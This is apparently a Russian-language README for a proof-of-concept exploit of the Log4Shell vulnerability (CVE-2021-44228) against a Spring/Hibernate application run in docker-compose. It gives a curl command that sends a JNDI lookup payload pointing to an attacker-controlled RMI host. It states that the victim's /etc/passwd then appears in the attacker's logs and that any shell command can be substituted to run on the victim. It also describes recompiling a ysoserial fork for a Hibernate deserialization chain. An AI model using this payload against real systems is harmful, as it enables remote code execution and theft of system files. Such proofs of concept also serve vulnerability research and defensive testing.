
CVE-2021-44228 POC - Spring / Hibernate
Этот POC использует Spring / Hibernate, однако аналогичный подход rmi -> десериализация может быть использован для инициирования любой уязвимости десериализации
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'
Вы должны увидеть содержимое /etc/passwd жертвы в логах контейнера attacker.
Вы можете заменить команду в сервисе exploit, чтобы выполнить любую shell-команду на жертве.
Жертва запускает стандартное starter spring приложение с зависимостями "Spring Data JPA" (для Hibernate), "Spring Web" и "H2" (в качестве хранилища данных). Поверх этого были внесены только 2 изменения:
slf4j-логгер заменён на уязвимый log4jВсе зависимости актуальны. Никаких магических флагов не включено.
Жертва предоставляет конечную точку, принимающую POST, по адресу /, которая логирует запрос.
Эксплойт использует форк ysoserial с генератором эксплойтов Hibernate. Чтобы эксплойт работал с последней версией Hibernate, нам потребуется перекомпилировать ysoserial.